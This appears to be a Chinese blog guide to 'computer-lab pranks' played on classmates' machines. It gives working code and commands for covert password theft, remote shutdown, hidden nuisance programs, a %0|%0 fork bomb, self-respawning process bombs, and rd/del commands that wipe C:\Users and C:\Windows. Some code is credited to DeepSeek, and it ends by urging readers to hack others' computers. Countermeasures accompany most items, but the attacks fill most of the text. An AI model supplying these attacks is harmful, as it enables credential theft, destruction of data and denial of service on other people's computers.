警告
在这里看到的一切机惨方法,全是血淋淋的教训!请勿模仿!
若模仿,造成的一切后果,包括朋友断交,计算机损坏等,本文章不负任何责任!
前言
机惨,全名机房惨案,简称jc或jfca。操作也相对好理解,就是一位学生在另一位学生的计算机上干一些奇~~奇~~怪~~怪~~的事情。
账号机惨
1.评论区刷屏
难度:easy,伤害:≈0
在一些在线题库(例如洛谷)内一般都有评论区的功能,若是同学上厕所时忘记锁定账号,你就可以跑到ta的账号前,往ta的评论区里刷屏。
2.抄题解
难度:easy,伤害:小
在ta的电脑上再新开一个浏览器,登录自己的账号,将ta的一些题解复制到你账号上。
3.获取密码
难度:easy,伤害:看你之后干什么(评论区刷屏还小,注销账号就大)
在ta的电脑上再新开一个浏览器,打开题库的登录界面,观察ta是否开启“记住密码”,若是,悄悄的把ta的账号和密码记住,接着……
附注:百度上有监听键盘获取密码的方法,作者暂时还不会,有需要者可自行搜索。
通用的反机惨方法:
离开自己的座位前,将所有账号锁定。
关机或重启
难度:easy,伤害:看人家的游戏代码多重要
1.老老实实的点
所有电脑均适用
反机惨方法:
电脑睡眠
2.win x u u
win+x,按两下u关机;一下u,一下r重启。(Windows10及以上使用)
反机惨方法:
仍然是电脑睡眠
3.shutdown -p
win+r,输入
shutdown -p
马上关机
好处:直接克制循环shutdown -a
反机惨方法:
还是电脑睡眠
4.长按电源键
可能某些要长按
反机惨方法:
摘自
机房安全防护策略:从物理到网络的六种防惨措施-CSDN博客文章浏览阅读1k次,点赞9次,收藏6次。讲解了JC_iakioihttps://blog.csdn.net/hjyowl/article/details/136808831
设置中搜索“控制面板”,或是win+r,输入
control
打开控制面板 ,
搜索“电源选项”//Windows基本都能用
找到电源选项-选择电源按钮的功能,//win10
控制面板\硬件和声音\电源选项\系统设置//win11,笔记本电脑
把所有选项改为“不关机”就好了。
5.拔插头
简单,粗暴,无法破解(如果电脑被卡死也只能这样)
反机惨方法:
祈求老师给主机和电源线弄个柜子
除了搞好人际关系,没了!
延时关机/重启:
难度:medium,伤害:看人家的游戏代码多重要,附加一脸懵
在人家的电脑win+r,输入:
shutdown -s -t [延时秒数] -c [留言(可以是中文)]
解释:
如果将“-s”改为“-r”,重启。
Win11的样子
例子
shutdown -s -t 600 -c 你死定了
//600秒后关机,输出“你死定了”
就算是“关闭”也没用,到时间了还是关机
Win10的样子
例子2
shutdown -r -t 300 -c 你完了
//300秒后关机,输出“你完了”
反机惨方法:
win+r,输入:
shutdown -a
抑或是
#include
#pragma GCC optimize(2)
#pragma GCC optimize(3)
using namespace std;
int main(){
while (1){
system("shutdown -a");
}
return 0;
}
远程关机:
第1种方法:shutdown
难度:hard,伤害:同样是看人家的游戏代码多重要,附加一脸懵
在被机惨的电脑上文件管理器中“此电脑”右键点击,点“属性”。
记下红圈内的东西。
自己电脑上键盘上win+r,或C:\Windows\System32\cmd.exe
在自己的计算机上cmd中输入 shutdown -i。
(红圈内需自己填写)
在“计算机”一栏填写刚刚看到的计算机全名,注释中随便写些东西,便可发出去。
反机惨方法:
cmd中输入“shutdown -a”,或开防火墙。
第2种方法:JiYuTrainer.exe
难度:hard,伤害:同样是看人家的游戏代码多重要,附加一脸懵
下载
打开后点击
(蓝框内需自己按下,红框内需自己填写)
反机惨方法:
杀掉极域或在自己的电脑上也装一个JiYuTrainer。
备注:
只有你的机房使用极域且你的电脑和TA的电脑在同一个局域网内才有用,
可以向TA发一些如“你的电脑将在1秒后关机”等的话(无实际杀伤,但如果你在1秒后点击“对方电脑关机”的话就有杀伤了)
vbs编程
难度:medium,伤害:≈0(不管它就好了),内存爆炸(重复打开)
首先创建一个txt文本
然后输入代码
do
msgbox"***"
loop
保存,然后把后缀.txt改成.vbs,打开。
(可以将“***”改为骂人的话(支持中文))
会弹出一个窗口,显示你在双引号内的字符,关不掉
或是
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 60"
60秒后关机,反机惨方法与防远程关机一样
保存,然后把后缀.txt改成.vbs,打开。
反机惨方法:
win+r,输入
taskkill /f /t /im wscript.exe
桌面机惨
先打开某个应用(能全屏展示),将其调至全屏,用
win+Shift+s打开截屏//win10,11
PrtScn,复制进画图内,保存//win7
将整块屏幕截屏下来(包括任务栏),保存,对图片右键,改为桌面背景。
再用文件资源管理器(即为此电脑)找到
C:\Users\*****\Desktop
其中“*****”为用户名。
将里面的所有东西全删了。
(未测试,可能出问题)将Desktop目录删了。
这时电脑上显示的就是应用,但啥也干不了。
反机惨方法:
win+r,输入
C:\
或 explorer
打开文件资源管理器,先把它固定在任务栏,
再找到
C:\Windows\explorer.exe
将其先创建一个快捷方式在桌面上。
然后挨个找以下载软件的启动程序,将它们挨个创建快捷方式,放在桌面上。
或
百度安全验证https://baijiahao.baidu.com/s?id=1835046879906693191&wfr=spider&for=pc
纯恶作剧(无太大伤害)——DeepSeek生成
1.keybd_event();
#include
int main() {
while (true) {
// 切换 NumLock
keybd_event(VK_NUMLOCK, 0, KEYEVENTF_EXTENDEDKEY, 0);
keybd_event(VK_NUMLOCK, 0, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
// 切换 CapsLock
keybd_event(VK_CAPITAL, 0, KEYEVENTF_EXTENDEDKEY, 0);
keybd_event(VK_CAPITAL, 0, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
Sleep(10); // 防吃CPU
}
return 0;
}
编译并运行。
键盘的 NumLock 和 CapsLock 指示灯会交替闪烁。
反机惨方法:
win+r,输入
taskkill /f /t /im [程序名称].exe //不用管大小写
即可关闭程序
2.SetCursorPos(x,y);//全屏乱滑
#include
#include
int main(){
while(1){
SetCursorPos(rand()%2000,rand()%1000);
srand(time(114514));
}
return 0;
}
编译并运行。
原理:鼠标乱划。
反机惨方法:
win+r,输入
taskkill /f /t /im [程序名称].exe
即可关闭程序
3.BitBit();
#include
int main() {
HDC hdc = GetDC(0);
int w = GetSystemMetrics(SM_CXSCREEN);
int h = GetSystemMetrics(SM_CYSCREEN);
while(1){
BitBlt(hdc,0,0,w,h,hdc,0,0,NOTSRCCOPY);
Sleep(10);
}
ReleaseDC(0, hdc);//恢复原状
return 0;
}
编译并运行。
原理:电脑频闪(负片效果)
反机惨方法:
这只是将显示器的输出改了,可正常关闭程序。
win+r,输入
taskkill /f /t /im [程序名称].exe
即可关闭程序
4.SetWindowsPos();
#include
#include
#include
const int length=100;//晃动强度,越大越强
int main() {
srand(time(0));
HWND hwnd = GetForegroundWindow();
RECT rect;
GetWindowRect(hwnd,&rect);
// 记录原始位置
int origX = rect.left;
int origY = rect.top;
while(true){
// 随机移动窗口位置
int x = origX + (rand()%length);
int y = origY + (rand() % length);
SetWindowPos(hwnd,NULL,x,y,0,0,SWP_NOSIZE|SWP_NOZORDER);
Sleep(50);
}
// 恢复原位
SetWindowPos(hwnd, NULL, origX, origY, 0, 0, SWP_NOSIZE | SWP_NOZORDER);
return 0;
}
编译并运行。
原理:晃动窗口。
反机惨方法:
win+r,输入
taskkill /f /t /im [程序名称].exe
即可关闭程序
5.SetCursorPos(x,y)//鼠标抖动
#include
const int length=10;//抖动强度,越大越强
int main(){
POINT p;
while(1){
GetCursorPos(&p);
SetCursorPos(p.x+(rand() %length-length/2),p.y+(rand()%length-length/2));
}
return 0;
}
编译并运行。
原理:鼠标抖动(区域内)。
反机惨方法:
win+r,输入
taskkill /f /t /im [程序名称].exe
即可关闭程序
6.SetSystemCursor(,);
#include
#include
int main(){
std::vector
IDC_ARROW, IDC_IBEAM, IDC_WAIT, IDC_CROSS,
IDC_UPARROW, IDC_SIZE, IDC_ICON, IDC_SIZENWSE,
IDC_SIZENESW, IDC_SIZEWE, IDC_SIZENS, IDC_SIZEALL,
IDC_NO, IDC_HAND, IDC_APPSTARTING, IDC_HELP
};
while(1){
HCURSOR hCursor=LoadCursor(NULL,cursors[rand()%cursors.size()]);
SetSystemCursor(hCursor,32512);
}
return 0;
}
编译并运行。
原理:随机改变光标样式。
反机惨方法:
因为只是改变了样式,功能未改变,可以正常关闭程序。
如果光标恢复不过来,见下文
警告
无论怎么退出,光标会保存你在退出前最后的光标样式,除非
//上面的头文件之类的不加了
SystemParametersInfo(SPI_SETCURSORS, 0, NULL, 0);
7.StretchBlt();
#include
int main(){
HDC hdc = GetDC(0);
int w = GetSystemMetrics(SM_CXSCREEN);
int h = GetSystemMetrics(SM_CYSCREEN);
while(1){
StretchBlt(hdc,0,h,w,-h,hdc,0,0,w,h,SRCCOPY);
}
ReleaseDC(0, hdc);//恢复
return 0;
}
编译并运行。
原理:翻转屏幕。
反机惨方法:
因为只是翻转了,可以用鼠标使劲点原来的关闭位置,可以正常关闭程序。
抑或是老一套的
win+r,输入
taskkill /f /t /im [程序名称].exe
即可关闭程序
8.Beep(,);
#include
#include
const int fast=100;//fast>=1,播放速度(毫秒)
const unsigned sound_high=10000;//最高音高
const unsigned sound_low=100;//最低音高
int main(){
srand(time(0));
int sound;
while(1){
sound=sound_low+rand()%sound_high;
Beep(sound,fast);
}
return 0;
}
编译并运行。
原理:播放一堆随机的蜂鸣声。
反机惨方法:
正常关闭程序(这个程序只是播放些奇怪的音而已)。
附注
任何代码都可以在main()下面第1行加
HWND console = GetConsoleWindow();
ShowWindow(console, SW_HIDE);//在桌面上看不到,但在任务管理器和cmd的tasklist上看到
神级操作(请勿模仿!)
1.%0|%0
建议一读(Windows的.bat命令)
DOS命令详解-CSDN博客文章浏览阅读2.2k次,点赞3次,收藏16次。目录脚本命令:1、@2、echo用法一:可以用它来显示信息!用法二:可以直接编辑文本文件。例六:3、::4、pause5、: 和 goto6、% 暂时搁置。。。。。。。。因为for循环1)%0 %1 %2 %3....%9 %* 2) %是个ESCAPE字符,通常将之译为转义字符。3) for循环中 》》》》》》》》》》》》》》》》》》》》》》..._%cd% ad -chttps://blog.csdn.net/CarryNet/article/details/85773105
难度:hard,伤害:毁掉内存
在对方的电脑上新建一个文本文档,输入 %0|%0 ,保存并退出,将文本文档后缀名改为 .bat
运行。
大约需要2分钟才能起效。
原理:
卡爆代码%0|%0原理详解-CSDN博客文章浏览阅读1.2w次,点赞14次,收藏31次。卡爆代码%0|%0原理详解_%0|%0https://blog.csdn.net/m0_74116287/article/details/128268006摘录:
在bat(批文件)文件中,%0表示批文件本身,|则表示“如果没有成功”
那么,代码的意思就是——
①运行批文件本身
②如果没有成功,执行①
但是访问批文件的次数太多,CPU就会暴涨,最后电脑黑屏或蓝屏,卡爆...
反机惨方法:
win+r,输入
taskkill /f /t /im cmd.exe
或
#include
#pragma GCC optimize(2)
#pragma GCC optimize(3)
using namespace std;
int main(){
while (1){
system("taskkill /f /t /im cmd.exe");//关掉不会出问题
}
return 0;
}
然后马上删掉这个批处理程序。
或马上重启。
2.system("start ...");
惨烈版
难度:hard,伤害:毁掉CPU和内存
#include
int main(){
while(1){
system("start [这个程序名称].exe");//可能要打绝对路径
//如system("start C:\\Users\\*****\\Desktop\\kill.exe");//注意反斜杠的用法
}
return 0;
}
编译并运行。
30秒后卡死。
原理:重复打开此程序,CPU和内存爆掉。
反机惨方法:
“taskkill /f /t /im [这个程序名称].exe”不够快,只能重启。
如果设置了开机自启的话:
尝试在启动时卡时间,马上在任务栏右键这个程序,点击“关闭所有窗口”。
中等版
难度:hard,伤害:毁掉CPU和内存
#include
int main(){
while(1){
system("start cmd.exe");//可能要打绝对路径
//如system("start "C:\\Windows\\System32\\cmd.exe"");//注意反斜杠的用法
}
return 0;
}
编译并运行。
45秒后卡死。
原理:重复打开此程序,CPU和内存爆掉。
反机惨方法:
先把这个程序关掉,再处理其他的程序。
温和版
(虽然也温和不到哪去)
难度:hard,伤害:毁掉内存,老师看见会爆炸(仅限游戏或视频网站)
#include
using namespace std;
int main(){
while(1){
system("start https://www.luogu.com.cn/");
//可以将“https://www.luogu.com.cn/”改为其他网址(最好是游戏网站)
}
}
推荐一些放进去的游戏或视频网站:
哔哩哔哩 (゜-゜)つロ 干杯~-bilibilihttps://www.bilibili.com/
Poki (宝玩) - 免费在线小游戏 - 马上玩!https://poki.com/zh
florr.iohttps://florr.io/
抖音https://www.douyin.com/
编译并运行。
60秒后卡死。
原理:重复打开网站,内存爆掉。
反机惨方法:
先把这个程序关掉,再处理一大堆网站。
3.cmd rd
警告:确认电脑装了冰点还原类软件再尝试!//就算装了也别试!
win+r,打开cmd,输入
rd /s /q C:\Users\
rd /s /q C:\Windows\
del /f /s /q C:\Users\
del /f /s /q C:\Windows
注意:del命令不删除文件夹
把Users或Windows目录删了,基本没人能用这台电脑了。。。(维修后除外)
反机惨方法:
赶紧关掉,尝试用冰点还原类软件(不确认极域可不可以)
如果真的炸了怎么办?
按电源键或拔插头。
欣赏一下
摘自 浅谈机(J)惨(C)技巧——从入门到精通(?)_机惨-CSDN博客https://blog.csdn.net/robotlongtime/article/details/118654377
结语
希望大家在险恶的机房中能学会保护自己的电脑并开心的黑掉别人的电脑。
如有需要改进的地方或有更好的思路抑或是更险恶的机惨手段,欢迎评论及私信!将会马上添加进这篇文章里,并注明作者。
制作不易,望三连,谢谢!